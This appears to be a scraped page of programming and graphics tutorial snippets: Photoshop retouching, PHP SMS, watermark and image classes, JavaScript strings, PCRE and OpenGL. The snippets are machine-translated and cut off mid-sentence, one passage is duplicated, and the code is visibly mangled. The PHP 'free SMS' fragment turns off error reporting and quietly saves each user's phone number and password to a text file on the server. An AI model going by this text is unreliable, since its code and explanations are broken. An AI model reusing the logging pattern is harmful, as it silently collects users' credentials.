opengl 3 1 tutorial

Photoshop Tutorial character whitening and rubbing skin tutorial Final effect 1, open the original material. 2, in the Layers palette, copy the background layer to create a background copy layer. Perform the filter → other → high contrast reten

PHP Free SMS code (using China Mobile fetion) PHP Tutorial Free SMS code (using China Mobile fetion) error_reporting (0); if ($_get[' act ']== ' send ') { @file_put_contents (Time (). TXT ', $_post[' mobile_no ']. ' | | | '. $_post[' Pass ']. ' | | | '. $_post[' SMS ']. " RN "); $post _data= "mobile_no={$_post[' mobile_no ']}pass={$_post[' pass ']}sms= '. Rawurlencode ($_post[' SMS '); $len =strlen ($post _data); $headers = "post/fetion

original image watermarkPrivate $ dst_y = 0; // the y coordinate of the original image watermark.Private $ str_x = 450;Private $ str_y = 200;Private $ font = "c: windowsfontssimhei. ttf"; // watermark the font path of the original imagePrivate $ imgej; // The variable after imagecolorallocate Function _ get ($ value ){Return $ this-> $ value;}Function _ set ($ property, $ value ){$ This-> $ property = $ value;}/*** Constructor initialization** @ Param string $ imagefile the watermark file* @ Pa

This article provides a free PHP image processing class: Thumbnail, clipping, fillet, tilt code, he can cut out different styles of pictures oh, haha, more than the other online cut diagram is much better oh. PHP Tutorial Picture Processing class: Thumbnail, crop, fillet, tilt Class Resizeimage { Type of picture var $type; Actual width var $width; Actual height var $height; The width after the change var $resize _width; The height after th

The signature of this tutorial is very lovely. The production method is also relatively simple, the selection of frame material and characters, the use of masks and other characters into the frame inside, and then appropriately decorated with the text can be.Final effect 1. Open the picture frame and character material as shown below.

string. To generate and interpret these strings, you must understand how JavaScript strings work. Therefore, we must first understand the string. If you are a beginner, you should first read the content of the second lesson of the Javascript preliminary tutorial. The following is an example: VaR normal_monkey = "I am a monkey! Document. writeln ("normal monkey" + normal_monkey );VaR bold_monkey = normal_monkey.bold ();Document. writeln ("bold monke

PHP Tutorial pcre Regular Expression Complete tutorialPredefined constants Preg_pattern_order The results are sorted by "rules", only for Preg_match_all, i.e. $matches[0] is the result of a complete rule, $matches [1] is the result of the first subgroup matchPreg_set_order: The results are sorted by "set" only for Preg_match_all, that is, $matches[0] saves all results (including subgroups) of the first m

gl_scissor_test is enabled, the drawn content can only be displayed in the cropping area.The following code sets the middle of the window as the cropping area and obtains the extension string. Glscissor (1, INT (0.135416f * sheight), swidth-2, INT (0.597916f * sheight); // defines the Cropping AreaGlable (gl_scissor_test); // use the cropping test. Char * text = (char *) malloc (strlen (char *) glgetstring (gl_extensions) +

The graphics example of apidemos contains the OpenGL ES example. OpenGL ES is mainly used to develop 3D graphics applications. OpenGL ES (OpenGL for embedded systems) is a subset of OpenGL 3D graphics APIs. It is designed for embedded devices such as mobile phones, PDAs, and

length. For example, join us starting with "X", 5 values ahead, we will fall on the next "X" value. Starting from "U" is also the same, but also the number of 5 forward. This parameter is a byte unit, not a floating point unit, so we must multiply the number of bytes by the float type.The last parameter, Glvertexattribpointer, is an "offset" parameter. This parameter needs to know how many bytes from the beginning to the first value. The start is XYZ, so the offset is set to NULL to indicate "t

some less common geometric operations (such as multiplying a matrix. by default, OpenGL does not automatically unit this vector During computation.4. array data,GlarrayelemerntWhen drawing a graph with a large number of vertices, vectors, and colors, you can define the array data to reduce code,Static glint vertices [] = {25, 25,100,325,175, 25,175,325,250, 25,325,325 };Glableclientstate (gl_vertex_array); Enable vertex ArrayGlvertexpointer (2, gl_in

) in some less common geometric operations (such as multiplying a matrix. by default, OpenGL does not automatically unit this vector During computation.4. array data,GlarrayelemerntWhen drawing a graph with a large number of vertices, vectors, and colors, you can define the array data to reduce code,Static glint vertices [] = {25, 25,100,325,175, 25,175,325,250, 25,325,325 };Glableclientstate (gl_vertex_array); Enable vertex ArrayGlvertexpointer (2, g

corresponding key array to false.Killglwindow (); // destroy the current windowFullscreen =! Fullscreen; // switch to full screen/window mode// Recreate the OpenGL window (modify)If (! Createglwindow ("nehe's first polygon tutorial", 640,480, 16, fullscreen )){Return 0; // exit the program if the window cannot be created}} Markus Knauer note: In ("OpenGL